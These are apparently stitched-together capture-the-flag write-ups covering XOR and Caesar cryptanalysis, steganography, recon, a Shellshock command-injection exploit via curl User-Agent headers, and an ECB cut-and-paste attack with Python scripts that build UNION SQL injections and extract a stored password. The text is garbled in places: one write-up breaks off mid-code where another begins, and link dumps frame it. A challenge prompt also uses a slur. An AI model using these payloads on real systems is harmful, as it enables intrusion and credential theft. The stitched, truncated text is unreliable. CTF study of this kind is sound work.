https://www.shodan.io/[SuperGnome 02]: http://52.34.3.80/[SuperGnome 03]: http://52.64.191.71/[SuperGnome 04]: http://52.192.152.132/[SuperGnome 05]: http://54.233.105.81/[Local file inclusion]: http://hakipedia.com/index.php/Local_File_Inclusion[LFI]: http://hakipedia.com/index.php/Local_File_Inclusion[PNG]: http://www.libpng.org/pub/png/[.png]: http://www.libpng.org/pub/png/[Remote Code Execution]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[RCE]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[GNU]: https://www.gnu.org/[regular expression]: https://en.wikipedia.org/wiki/Regular_expression[regular expressions]: https://en.wikipedia.org/wiki/Regular_expression[uniq]: https://en.wikipedia.org/wiki/Uniq[sort]: https://en.wikipedia.org/wiki/Sort_%28Unix%29[binary data]: https://en.wikipedia.org/wiki/Binary_data[binary]: https://en.wikipedia.org/wiki/Binary[Firebug]: http://getfirebug.com/[SHA1]: https://en.wikipedia.org/wiki/SHA-1[SHA-1]: https://en.wikipedia.org/wiki/SHA-1[Linux]: https://www.linux.com/[Ubuntu]: http://www.ubuntu.com/[Kali Linux]: https://www.kali.org/[Over The Wire]: http://overthewire.org/wargames/[OverTheWire]: http://overthewire.org/wargames/[Micro Corruption]: https://microcorruption.com/[Smash The Stack]: http://smashthestack.org/[CTFTime]: https://ctftime.org/[Writeups]: https://ctftime.org/writeups[Competitions]: https://ctftime.org/event/list/upcoming[Skull Security]: https://wiki.skullsecurity.org/index.php?title=Main_Page[MITRE]: http://mitrecyberacademy.org/[Trail of Bits]: https://trailofbits.github.io/ctf/[Stegsolve]: http://www.caesum.com/handbook/Stegsolve.jar[stegsolve.jar]: http://www.caesum.com/handbook/Stegsolve.jar[Steghide]: http://steghide.sourceforge.net/[IDA Pro]: https://www.hex-rays.com/products/ida/[Wireshark]: https://www.wireshark.org/[Bro]: https://www.bro.org/[Meterpreter]: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/[Metasploit]: http://www.metasploit.com/[Burpsuite]: https://portswigger.net/burp/[xortool]: https://github.com/hellman/xortool[sqlmap]: http://sqlmap.org/[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/wiki/Downloads[VBScript Decoder]: https://gist.github.com/bcse/1834878[quipqiup.com]: http://quipqiup.com/[EXIFTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/[Scalpel]: https://github.com/sleuthkit/scalpel[Ryan's Tutorials]: http://ryanstutorials.net[Linux Fundamentals]: http://linux-training.be/linuxfun.pdf[USCGA]: http://uscga.edu[Cyberstakes]: https://cyberstakesonline.com/[Crackmes.de]: http://crackmes.de/[Nuit Du Hack]: http://wargame.nuitduhack.com/[Hacking-Lab]: https://www.hacking-lab.com/index.html[FlareOn]: http://www.flare-on.com/[The Second Extended Filesystem]: http://www.nongnu.org/ext2-doc/ext2.html[GIF]: https://en.wikipedia.org/wiki/GIF[PDFCrack]: http://pdfcrack.sourceforge.net/index.html[Hexcellents CTF Knowledge Base]: http://security.cs.pub.ro/hexcellents/wiki/home[GDB]: https://www.gnu.org/software/gdb/[The Linux System Administrator's Guide]: http://www.tldp.org/LDP/sag/html/index.html[aeskeyfind]: https://citp.princeton.edu/research/memory/code/[rsakeyfind]: https://citp.princeton.edu/research/memory/code/[Easy Python Decompiler]: http://sourceforge.net/projects/easypythondecompiler/[factordb.com]: http://factordb.com/[Volatility]: https://github.com/volatilityfoundation/volatility[Autopsy]: http://www.sleuthkit.org/autopsy/[ShowMyCode]: http://www.showmycode.com/[HTTrack]: https://www.httrack.com/[theHarvester]: https://github.com/laramies/theHarvester[Netcraft]: http://toolbar.netcraft.com/site_report/[Nikto]: https://cirt.net/Nikto2[PIVOT Project]: http://pivotproject.org/[InsomniHack PDF]: http://insomnihack.ch/wp-content/uploads/2016/01/Hacking_like_in_the_movies.pdf[radare]: http://www.radare.org/r/[radare2]: http://www.radare.org/r/[foremost]: https://en.wikipedia.org/wiki/Foremost_%28software%29[ZAP]: https://github.com/zaproxy/zaproxy[Computer Security Student]: https://www.computersecuritystudent.com/HOME/index.html[Vulnerable Web Page]: http://testphp.vulnweb.com/[Hipshot]: https://bitbucket.org/eliteraspberries/hipshot[John the Ripper]: https://en.wikipedia.org/wiki/John_the_Ripper[hashcat]: http://hashcat.net/oclhashcat/[fcrackzip]: http://manpages.ubuntu.com/manpages/hardy/man1/fcrackzip.1.html[Whitehatters Academy]: https://www.whitehatters.academy/[gn00bz]: http://gnoobz.com/[Command Line Kung Fu]:http://blog.commandlinekungfu.com/[Cybrary]: https://www.cybrary.it/[Obum Chidi]: https://obumchidi.wordpress.com/[ksnctf]: http://ksnctf.sweetduet.info/[ToolsWatch]: http://www.toolswatch.org/category/tools/[Net Force]:https://net-force.nl/[Nandy Narwhals]: http://nandynarwhals.org/[CTFHacker]: http://ctfhacker.com/[Tasteless]: http://tasteless.eu/[Dragon Sector]: http://blog.dragonsector.pl/[pwnable.kr]: http://pwnable.kr/[reversing.kr]: http://reversing.kr/[DVWA]: http://www.dvwa.co.uk/[Damn Vulnerable Web App]: http://www.dvwa.co.uk/[b01lers]: https://b01lers.net/[Capture the Swag]: https://ctf.rip/[pointer]: https://en.wikipedia.org/wiki/Pointer_%28computer_programming%29[call stack]: https://en.wikipedia.org/wiki/Call_stack[return statement]: https://en.wikipedia.org/wiki/Return_statement[return address]: https://en.wikipedia.org/wiki/Return_statement[disassemble]: https://en.wikipedia.org/wiki/Disassembler[less]: https://en.wikipedia.org/wiki/Less_%28Unix%29[puts]: http://pubs.opengroup.org/onlinepubs/009695399/functions/puts.html[disassembly]: https://en.wikibooks.org/wiki/X86_Disassembly[PLT]: https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html[Procedure Lookup Table]: http://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got[environment variable]: https://en.wikipedia.org/wiki/Environment_variable[getenvaddr]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[getenvaddr.c]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[file]: https://en.wikipedia.org/wiki/File_%28command%29[mplayer]: http://www.mplayerhq.hu/design7/news.html[Audacity]: http://audacityteam.org/[john]: http://www.openwall.com/john/[unshadow]: http://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
## Crypto 50 (crypto, 50p) ### PL [ENG](#eng-version) Bardzo przyjemne (dla autora tego writeupa) zadanie. Dostajemy 10 tekstów zaszyfrowanych tym samym stream cipher (z tym samym IV/kluczem), i mamy za zadanie rozszyfrować 11. Teksty w pliku [input.txt](input.txt) Orientujemy się od razu, że to sytuacja podobna do tego gdy wszystkie teksty zostały zaszyfrowane tym samym one time padem. A na to są sposoby. Oczywiście jeden sposób to napisanie masę skomplikowanego kodu bruteforcującego różne możliwości i wybierający najlepszy plaintext (np. taki który mieści sie w wymaganym charsecie). To rozwiązanie dobre do specjalistycznych zastosowań/mechanicznego łamania, ale my mamy znacznie _zabawniejszy_ sposób, do zapisania w kilkunastu linijkach pythona: dat = open('input.txt').readlines() dat = [x.strip().decode('hex') for x in dat] def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) def interactive_hack(xored): while True: print ">", i = raw_input() for x in xored: print " -> ", xor(i, x) xored = [xor(dat[0], d) for d in dat[1:]] interactive_hack(xored) I tyle. Co nam to daje? Otóż możemy zgadywać w ten sposób hasło "interaktywnie" - Na przykład jest spore prawdopodobieństwo że któryś z plaintextów zaczyna się od "You" - spróbujmy więc: > You -> {&j& -> nn`h -> nnl; -> {&v< -> {&v< -> sh%) -> s`)h -> {hj< -> xok) -> mn`& Meh. To może "The "? > The -> v!z& -> ciph -> ci|; -> v!f< -> v!f< -> ~o5) -> ~g9h -> voz< -> uh{) -> `ip& Strzał w dziesiątkę. Widać początek słowa "cipher", więc próbujemy: > cipher -> A one-' -> The ke* -> This m2 -> A stre2 -> A stre2 -> In a s* -> If, ho$ -> Anothe! -> Binarys -> When u Ostatni znak nie ma sensu nigdzie, więc podejrzewamy że to jednak miało być inne słowo (np. ciphers). Ale idziemy dalej, i tak aż do końca: ![](fun.PNG) Flaga: `When using a stream cipher, never use the key more than once!` ### ENG version Very nice (at least for the auther of the writeup) task. We get 10 ciphertexts encoded with the same stream cipher (with the same IV and key) and we have to decode 11th. Input texts in [input.txt](input.txt) We realise that this is a similar case to encoding all the texts with the same one time pad. But this can be handled. Of course we could have written a lot of complex brute-force code testing multiple possibilities and choosing the best plaintext (eg. the one that fits into selected charset). This is a good task for automatic code breaking, but we came up with a more `fun` idea, which could have been written in just few lines of code: dat = open('input.txt').readlines() dat = [x.strip().decode('hex') for x in dat] def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) def interactive_hack(xored): while True: print ">", i = raw_input() for x in xored: print " -> ", xor(i, x) xored = [xor(dat[0], d) for d in dat[1:]] interactive_hack(xored) And that's it. What does it give us? We can try to break the code in an "interactive" way. We just try to guess the begining of one of the plaintexts - we assume that there is possibility that it starts with "You" so we try: > You -> {&j& -> nn`h -> nnl; -> {&v< -> {&v< -> sh%) -> s`)h -> {hj< -> xok) -> mn`& Not this time, so maybe "The "? > The -> v!z& -> ciph -> ci|; -> v!f< -> v!f< -> ~o5) -> ~g9h -> voz< -> uh{) -> `ip& Bingo! We can see a "ciph" word prefix so we try "cipher": > cipher -> A one-' -> The ke* -> This m2 -> A stre2 -> A stre2 -> In a s* -> If, ho$ -> Anothe! -> Binarys -> When u Last character does not make sense so we assume this must be a different word (eg. ciphers). We proceed until the end: ![](fun.PNG) Flaga: `When using a stream cipher, never use the key more than once!`
#Steganography 3 We can get desktop capture!Read the secret message. There are 2 clues found for this challenge. The first clue is statement "This problem can be solved by pre-school children.... Who knows the answer? i can't figure it out !!? ". From the clue we know the challenge may be so easy and simple to solve. ![Alt text](https://github.com/danangaji/ctf/blob/master/201512/SECCON/Stegano_3/desktop_capture.png "First Clue")The second clue, there are Ms Paint opened in bottom right of screen. So, i think this challenge can be solved with only Ms Paint.![Alt text](https://github.com/danangaji/ctf/blob/master/201512/SECCON/Stegano_3/clue2.png "Second Clue") 1. Open image using Ms Paint.2. Use "Fill with Color" tool, and then click inside the white area in hex editor image capture. You will get the flag `SECCON{the_hidden_message_ever}`
# Bashful ## Problem "How did I end up here?" is the only question you can think of since you've become a high school teacher. Let's face it, you hate children. Bunch of egocentric retards. Anyway, you are not going to take it anymore. It's time to have your little midlife crisis right in the face of these fuckers. Good thing that you're in the middle of some project days and these little dipshits wrote a simple message storing web application. How cute. It's written in bash... that's... that's... aw- no... bashful. You've got the source, you've got the skills. 0wn the shit out of this and show them who's b0ss. [Challenge](https://school.fluxfingers.net:1503/) [Source](bashful.tar.bz2) ## Solution Credit: [@emedvedev](https://github.com/emedvedev) **Note**: we'll be taking a shortcut not intended by the challenge developers, so if you'd like to know how to properly exploit a website written in bash (no, grandson, we don't normally do that here in 2015, don't be frightened), find another write-up. The site in question is a memo service: it gives you a `sessid` and lets you write memos while escaping all the special chars. There's also a `DEBUG` parameter, a vulnerability allowing you to mess with environment variables, and the `sessid` itself could be exploited, too, so there's probably a million ways to solve it. Well, disregard all that: it's written in Bash, so why try hard when you have [Shellshock](https://en.wikipedia.org/wiki/Shellshock_(software_bug))? ```$ curl -H "User-Agent: () { :; }; /bin/ls" https://school.fluxfingers.net:1503/404.shflaghome.htmlhome.shindex.sh $ curl -H "User-Agent: () { :; }; /bin/cat flag" https://school.fluxfingers.net:1503/flag{as_classic_as_it_could_be}``` Done. Again, that was not an intended solution, but there's still something to learn here: even if you're as security-conscious as most CTF organizers, eventually there _will_ be an attack vector you neglected, more often than not a stupidly simple one. Pay attention to the little things, be vigilant and go patch your Bash. Right now.
##Nullcon youtube (Recon, 400p) One of the NullCon vidoes talked about a marvalous Russian Gift. The Vidoe was uploaded on [May of 2015] What is the ID of that youtube video. ###PL[ENG](#eng-version) Wchodzimy na youtube, wyszukujemy filmy z maja i testujemy id po kolei.W końcu okazuje się, że poprawny film to:https://www.youtube.com/watch?v=a4_PvN_A1tsa flaga to `a4_PvN_A1ts` ###ENG version We go to youtube, look for all videos from may and test all ids.Finally the right video is:https://www.youtube.com/watch?v=a4_PvN_A1tsand flag is `a4_PvN_A1ts`
## Fridginator (Crypto/Web, 200p) > My brother John just bought this high-tech fridge which is all flashy and stuff,> but has also added some kind of security mechanism which means I can't steal his> food anymore... I'm not sure I can survive much longer without his amazing yoghurts.> Can you find a way to steal them for me?> http://fridge.insomnihack.ch/ ### PL[ENG](#eng-version) Łączymy się ze wskazanym adresem. Trzeba zarejestrować swojego użytkownika. Zaczynamy od sprawdzenia co możemy zrobić. Możemy dodawać 'jedzenie' do lodówki, wyciągać swoje jedzenie, oraz wyszukiwać użytkowników i jedzenie. ![](./screen.PNG) Ta ostatnia opcja wydaje się ciekawa, ponieważ oba pola wyszukiwania prowadzą ostatecznie do bardzo podobnej strony. Wyszukanie użytkownika 'aaa' redirectuje do: http://fridge.insomnihack.ch/search/c5c376484a22a1a196ced727b32c05ce706fa0919a8b040b2a2ba335c7c45726/ A wyszukanie jedzenia 'aaa' redirectuje do: http://fridge.insomnihack.ch/search/c5c376484a22a1a196ced727b32c05ceed1a8d4636d71c65dcf1bca14dac7665/ Nasza myśl (jak później się okazało - prawie trafna): być może parametr do search to zaszyfrowane jakimś szyfrem blokowym zapytanie SQL. Długość bloku to 16 bajtów - można to sprawdzić, bo szyfrowanie 0123456789ABCD daje w wyniki: b15fd5ffdae30bbe81f2ba9ec6930473b57ceb7611442a1380e2845a9b916405 A już zaszyfrowanie 0123456789ABCDE (15 znaków) daje: b15fd5ffdae30bbe81f2ba9ec6930473cce0dd7d051074345c5a8090ba39d24cb9719c83f5ab5c0751937a39150c920d Mamy już jedną informację. Teraz możemy sprawdzić czy bloki są w jakiś sposób przeplatane (CTR, CBC), czy szyfrowane niezależnie (ECB): Zaszyfrowanie aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa daje nam w wyniku: 5616962f8384b4f8850d8cd1c0adce98 e449af7ccbc7f34f2f1976a5fbfeb93f e449af7ccbc7f34f2f1976a5fbfeb93f e449af7ccbc7f34f2f1976a5fbfeb93f 04ea1913c8d3e7f30d2626ee9dfeff07 f1ad77dcff3212b1a5f83d230610d845 Wyraźnie widać powtarzający się blok na środku (więc mamy do czynienia z ECB), ale pierwszy i ostatni blok się różnią (więc do danych jest doklejany jakiś prefiks i sufiks). Pierwszą rzeczą jaką zrobiliśmy, było napisanie "fuzzera" do zaszyfrowanych danych - gdyż byliśmy ciekawi co powiedzą nam błędy. Kod jest mało ciekawy (podany w [pliku fuzzer.py](fuzzer.py)), ale wyniki bardziej - spośród wyfuzzowanych kilkuset błedów, najciekawsze dwa: Error : no such table: objsearch_user♠ Error : unrecognized token: "'i WHERE description LIKE ?" Error : no such table: objsearch_user♠ Error : unrecognized token: "'i WHERE description LIKE ?" Ok, mamy już jakieś dane. Co teraz? Wpadliśmy na to, że można wyciągnąć "sufiks" który jest doklejany do naszych danych przed szyfrowaniem - bajt po bajcie. Jak konkretnie to zrobić - wiemy że dane są szyfrowane blok po bloku. Oznaczając przez [xxxxxxxxx] bloki, (i przez 'a' payload) zaszyfrowane dane wyglądają mniej więcej tak: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aaaaaaasuf][fix_______] Ale jeśli wyślemy odpowiednio długi content, możemy otrzymać taki układ: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aaaaaaaaas][uffix_____] Co nam to daje - że czwarty blok tak zaszyfrowanych danych skłąda się z 15 znaków 'a', oraz pierwszego bajtu payloadu.Wystarczy przebrutować około 100 printowalnych znaków ASCII, i sprawdzić który z nich szyfruje się do tego samego bloku co ten powyżej, i mamy pierwszy znak sufiksu. A później powtarzać aż poznamy cały sufiks. Napisaliśmy do tego taki skrypt (dość skomplikowany, ponieważ trzeba było zaimplementować szyfrowanie przez stronę): ```pythonimport requestsimport timeimport string prefx_len = 7sufx_len = 11 def encrypt(payload): sessid = 'ln8h6x5zwp6oj2e7kz6zd45hlu97q3yp' cookies = {'sessionid': sessid} cookies['AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EF1BD84608DB9FFA0FC0F2F4F304AC9CD30CDCC86788A845DF98A68A77D605B8BF768114D93228AACFB536DE3963E28F295D0C2D52138BA1520672BB1428B11124' url0 = 'http://fridge.insomnihack.ch/' base = requests.get(url0, cookies=cookies) text = base.text csrf = "<input type='hidden' name='csrfmiddlewaretoken' value='" start = text.find(csrf) + len(csrf) token = text[start:start+32] cookies['csrftoken'] = token url = 'http://fridge.insomnihack.ch/users/' resp = requests.post(url, data={'term': payload, 'csrfmiddlewaretoken': token}, cookies=cookies, allow_redirects=False) prefx = '/search/' loc = resp.headers['location'] return loc[len(prefx):-1] prefx = 'p' * prefx_lenknown_suffix = ''for i in range(sufx_len): content_len = 48 - prefx_len - len(known_suffix) - 1 content = 'a' * content_len crypted = encrypt(content) crypted_chunks = chunks(crypted, 32) print crypted_chunks sought = crypted_chunks[-2] print 'sought', i, sought for c in [chr(x) for x in range(256)]: payload = content + known_suffix + c decrypted = encrypt(payload) decrypted_chunks = chunks(decrypted, 32) print decrypted_chunks result = decrypted_chunks[-2] if result == sought: print 'got', c known_suffix += c print known_suffix break``` Sufiks który otrzymaliśmy to: |type=user Jesteśmy w domu. Bo patrząc na błędy które otrzymaliśmy, ten typ jest doklejany bezpośrednio do zapytania - więc możemy zrobić SQLi, jeśli tylko nauczymy się jak "dokleić" coś na koniec zaszyfrowanego tekstu. A możemy spokojnie dokleić coś na koniec ciphertextu, o ile długość ciphertextu jest wielokrotnością 16 bajtów - obrazowo: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aa|type=user][ WHERE 1=1 --] Spowoduje wykonanie zapytania w rodzaju SELECT (?) FROM objsearch_user WHERE 1=1 -- ??? Idealnie. A blok `[ Where 1=1 --]` (i dowolny inny) możemy spokojnie zaszyfrować - zrobi to za nas strona. Wystarczy, że SQLi które chcemy zaszyfrować będzie wypełniać całkowicie kilka następujących po sobie bloków. Wynika to ze słabości ECB - blok plaintextu zawsze jest szyfrowany do tej samej postaci, bez względu na położenie.Potrzebujemy jedynie dopełnić blok z prefixem (9 bajtów) a potem dodać na końcu naszego SQLi padding (np. spacje), tak żeby suffix dodawany przez serwer trafił w całości do ostaniego bloku: [prefix123456789][SQLi part1]...[SQLi partN ][|type=user] Wysyłając taki payload otrzymamy w wyniku N+2 bloki. Pierwszy i ostatni blok odrzucamy bo zawierają tylko prefix i suffix od serwera, a wszystkie pozostałe zawierają nasz kod.Możemy je teraz wstawić pomiędzy dowolne inne bloki a serwer zdekoduje je i doklei w odpowiednie miejsce. Jest tylko jedna pułapka - padding. Dane szyfrowane szyfrem blokowym muszą mieć długośc równą wielokrotności 16 bajtów. Co jeśli są krótsze? Jeden z popularnych schematów paddingu (konkretnie, PKCS7) działa tak:* jeśli danym do wielokrotności 16 bajtów brakuje 1 bajta - doklej na koniec '\x01'* jeśli danym do wielokrotności 16 bajtów brakuje 2 bajtów - doklej na koniec '\x02\x02'* jeśli danym do wielokrotności 16 bajtów brakuje 3 bajtów - doklej na koniec '\x03\x03\x03'* ...* i uwaga, jeśli danym już są wielokrotnością 16 bajtów - doklej na koniec '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10' Ostatni warunek jest konieczny, żeby deszyfrowanie było zawsze jednoznaczne. Tak więc trzeba pamiętać, że ostatni zaszyfrowany blok będzie "fałszywym" blokiem składającym się wyłącznie z bajtów 0x10, i musimy go pominąć a później dokleić na końcu. Łącząc te wszystkie pomysły, napisaliśmy taki kod [final.py](final.py): ```pythondef hack(query): parts = encrypt2(query) part = ''.join(parts) prfx = 'b15fd5ffdae30bbe81f2ba9ec6930473cce0dd7d051074345c5a8090ba39d24c' sufx = 'b9719c83f5ab5c0751937a39150c920d' return prfx + part + sufx def hack2(query): payload = hack(query) session = '16if76517xm5zvvwn0l09yq8hqwbgdi5' cookies = {'sessionid': session} cookies[ 'AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EFD0AA7BC023208F4937F97452EF3E07B21CF2698ED17FB3AE4D8A6166A17A44ACBC6810BEC0739D56BBE463F63CC54BC91275B57E8FE8CBB9B39F65DFAFFA27C1' url = 'http://fridge.insomnihack.ch/search/' r = requests.get(url + payload, cookies=cookies) return r.text def hack3(query): return hack2(' union all select 1, (' + query + '), 3, 4, 5 union all select 1, 2, 3, 4, 5 from objsearch_user ') import sysprint hack3(sys.argv[1])``` Pozwala on trywialnie wykonać dowolne zapytanie na bazie - wygląda na to żę zadanie praktycznie zrobione Jedyne trzy tabele które znaleźliśmy (niestety, nie mamy screenów) to objsearch_user, objsearch_object oraz sqlite_sequence. Wyciągneliśmy więc po prostu DDL dla objsearch_user: CREATE TABLE "objsearch_user" ("id" integer NOT NULL PRIMARY KEY AUTOINCREMENT, "username" varchar(200) NOT NULL, "description" varchar(2000) NOT NULL, "password" varchar(200) NOT NULL, "email" varchar(200) NOT NULL) A następnie wyciągneliśmy "password" dla użytkownika "John" - okazało się być plaintextowe: SuperDuperPasswordOfTheYear!!! Wystarczyło w tym momencie zalogowąć się na użytkownika John i "wyciągnąć" jego jedzenie z lodówki: Hello Johnny, have your food and a flag, because why not? INS{I_do_encryption_so_no_SQL_injection} ### ENG version We connect to address specified in task description. After registering our user, we check what we can do. We can add 'food' to fridge, took 'food' out, and search for users and food. ![](./screen.PNG) Last option is particulary interesting, because both search fields directs us to the same page in the end. Searching for user named 'aaa' redirects us to: http://fridge.insomnihack.ch/search/c5c376484a22a1a196ced727b32c05ce706fa0919a8b040b2a2ba335c7c45726/ And searching for food called 'aaa' redirects to: http://fridge.insomnihack.ch/search/c5c376484a22a1a196ced727b32c05ceed1a8d4636d71c65dcf1bca14dac7665/ Our first thought was (and it turned out, we were almost right) - maybe parameter passed to search is encrypted SQL query. It certinally looks like that - block length is 16 bytes, and it can be easily verified. Encrypting 0123456789ABCD (14 chars) gives us: b15fd5ffdae30bbe81f2ba9ec6930473b57ceb7611442a1380e2845a9b916405 And encrypting 0123456789ABCDE (15 chars): b15fd5ffdae30bbe81f2ba9ec6930473cce0dd7d051074345c5a8090ba39d24cb9719c83f5ab5c0751937a39150c920d So we know something about cipher already. Now we can check, if blocks are related in any way (CTR, CBC) or completly independent (ECB): Encrypting aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa gives us: 5616962f8384b4f8850d8cd1c0adce98 e449af7ccbc7f34f2f1976a5fbfeb93f e449af7ccbc7f34f2f1976a5fbfeb93f e449af7ccbc7f34f2f1976a5fbfeb93f 04ea1913c8d3e7f30d2626ee9dfeff07 f1ad77dcff3212b1a5f83d230610d845 We can clearly see repeating block in the middle (so we are dealing with ECB mode - yay). But first and last blocks are different - so we can conclude that server is adding some secret prefix and suffix to our data (this matches our hypothesis about SQL query, by the way). First thing we did were implementing "fuzzer" for encrypted data (randomly changing last block and checking results) - because we were curious what the errors will be. Fuzzer code is not particulary interesting (you can find it in [fuzzer.py file](fuzzer.py)), but it gave us interesing results. Especially these two errors catched our eye: <p> Error : no such table: objsearch_user♠ Error : unrecognized token: "'i WHERE description LIKE ?" Error : unrecognized token: "'i WHERE description LIKE ?" So we know even more about server operatins. Now what? We found out that we can bruteforce 'suffix' appended to our data. We know that block cipher is used. I will denote each encrypted block like `[xxxxxxxxx]`. So encrypted request looks like this: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aaaaaaasuf][fix_______] But, when we use long enough content, we can get something like this: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aaaaaaaaas][uffix_____] (Only one byte of suffix is inside fourth block). Why would we do that? Because now we can bruteforca all possible bytes, and check when encrypting "aaaaaaaaaa" + (next byte) gives the same result that encrypting "aaaaaaaa" + (first byte of suffix). Now we created another script, used to get entire suffix: ```pythonimport requestsimport timeimport string prefx_len = 7sufx_len = 11 def encrypt(payload): sessid = 'ln8h6x5zwp6oj2e7kz6zd45hlu97q3yp' cookies = {'sessionid': sessid} cookies['AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EF1BD84608DB9FFA0FC0F2F4F304AC9CD30CDCC86788A845DF98A68A77D605B8BF768114D93228AACFB536DE3963E28F295D0C2D52138BA1520672BB1428B11124' url0 = 'http://fridge.insomnihack.ch/' base = requests.get(url0, cookies=cookies) text = base.text csrf = "
##Caesar (Crypto, 400p) Some one was here, some one had breached the security and had infiltrated here. All the evidences are touched, Logs are altered, records are modified with key as a text from book. The Operation was as smooth as CAESAR had Conquested Gaul. After analysing the evidence we have some extracts of texts in a file. We need the title of the book back, but unfortunately we only have a portion of it... ###PL[ENG](#eng-version) Dostajemy [plik](The_extract.txt) a z treści zadania wynika, że może być on szyfrowany za pomocą szyfru Cezara.Uruchamiamy więc prosty skrypt: ```pythonimport codecs with codecs.open("The_extract.txt") as input_file: data = input_file.read() for i in range(26): text = "" for x in data: c = ord(x) if ord('a') <= c < ord('z'): text += chr((c - ord('a') + i) % 26 + ord('a')) elif ord('A') <= c < ord('Z'): text += chr((c - ord('A') + i) % 26 + ord('A')) else: text += chr(c) print(text)``` Który wypisuje wszystkie możliwe dekodowania, wśród których mamy: Dr. Sarah Tu races against time to block the most dangerous Internet malware ever created, a botnet called QUALNTO. While Sarah is closed off in her comzuter lab, her sister, Hanna, is brutally attacked and left in a coma. As Sarah reels with guilt over not being there for her sister, a web of deceztion closes in, threatening her and everyone she loves. Hanna’s condition is misleading. In her coma state, she is able to build a zsychic bridge with FBI Szecial Agent Jason McNeil. Her cryztic messages zlague Jason to keez Sarah safe. Tough and street-smart Jason McNeil doesn’t believe in visions or telezathic messages, and he fights the voice inside his head. His first imzression of Dr. Sarah Tu is another stiletto wearing ice-dragon on the war zath―until he witnesses her façade crumble after seeing her sister’s bloody, tortured body. Jason’s zrotective instinct kicks in. He falls for Sarah―hard. When an extremenly dangerous arms dealer and cybercriminal discovers that Sarah blocked his botnet, he kidnzs Sarah. Zlaced in an imzossible zosition, will she destroy the botnet to zrotect national security or release it to save the man she loves Pochodzące z książki `In the Shadow of Greed` co jest flagą. ###ENG version We get a [file](The_extract.txt) and the task description suggests that the encryption is Caesar.Therefore we run a simple script: ```pythonimport codecs with codecs.open("The_extract.txt") as input_file: data = input_file.read() for i in range(26): text = "" for x in data: c = ord(x) if ord('a') <= c < ord('z'): text += chr((c - ord('a') + i) % 26 + ord('a')) elif ord('A') <= c < ord('Z'): text += chr((c - ord('A') + i) % 26 + ord('A')) else: text += chr(c) print(text)``` Which prints all possible decryptions where we can find: Dr. Sarah Tu races against time to block the most dangerous Internet malware ever created, a botnet called QUALNTO. While Sarah is closed off in her comzuter lab, her sister, Hanna, is brutally attacked and left in a coma. As Sarah reels with guilt over not being there for her sister, a web of deceztion closes in, threatening her and everyone she loves. Hanna’s condition is misleading. In her coma state, she is able to build a zsychic bridge with FBI Szecial Agent Jason McNeil. Her cryztic messages zlague Jason to keez Sarah safe. Tough and street-smart Jason McNeil doesn’t believe in visions or telezathic messages, and he fights the voice inside his head. His first imzression of Dr. Sarah Tu is another stiletto wearing ice-dragon on the war zath―until he witnesses her façade crumble after seeing her sister’s bloody, tortured body. Jason’s zrotective instinct kicks in. He falls for Sarah―hard. When an extremenly dangerous arms dealer and cybercriminal discovers that Sarah blocked his botnet, he kidnzs Sarah. Zlaced in an imzossible zosition, will she destroy the botnet to zrotect national security or release it to save the man she loves Coming from `In the Shadow of Greed` book, which is the flag.
__BreakIn 2016 :: Three Thieves Threw Trumpets Through Trees__================ _John Hammond_ | _Sunday, January 24, 2016_ > Honestly I do not have the challenge prompt or description. I will try to add it the moment I am able to retrieve it (it is currently not online). ---------- This challenge didn't take _too much_ technical skill, but it was still kind of fun. We were given "[this image](image1.jpg)"... and that was it. I put "this image" in quotations because when I tries to open it in [`eog`][eog], it didn't like it and couldn't open it. Hmm. So, I did the usual recon and threw it at [`file`][file] and [`exiftool`][exiftool]... and that got me some interesting results! ```ExifTool Version Number : 9.74File Name : image1.jpgDirectory : .File Size : 8.1 kBFile Modification Date/Time : 2016:01:23 13:44:54-05:00File Access Date/Time : 2016:01:24 12:10:25-05:00File Inode Change Date/Time : 2016:01:24 12:10:25-05:00File Permissions : rw-rw-r--File Type : WAVMIME Type : audio/x-wavEncoding : Microsoft PCMNum Channels : 1Sample Rate : 8000Avg Bytes Per Sec : 8000Bits Per Sample : 8Duration : 1.04 s``` Oh! Turns out it was not an image at all... but an audio file! I tried to play the file with [`mplayer`][mplayer], but it was too fast for me to hear anything. [`exiftool`][exiftool] had even said the duration was just one second. So I opened it up in [Audacity], and from the "Effects" menu, I tried to slow it down. Once I did, it still sounded wrong -- like the sound was "slipping"... so I tried it in reverse. The voice I heard had an accent and it was a little hard to decipher, but after some tweaking with the speed and pitch, I thought I heard: "_the password is abracadabra_." I tried that as the flag, and it accepted my answer! __The flag is `abracadabra`.__ [netcat]: https://en.wikipedia.org/wiki/Netcat[Wikipedia]: https://www.wikipedia.org/[Linux]: https://www.linux.com/[man page]: https://en.wikipedia.org/wiki/Man_page[PuTTY]: http://www.putty.org/[ssh]: https://en.wikipedia.org/wiki/Secure_Shell[Windows]: http://www.microsoft.com/en-us/windows[virtual machine]: 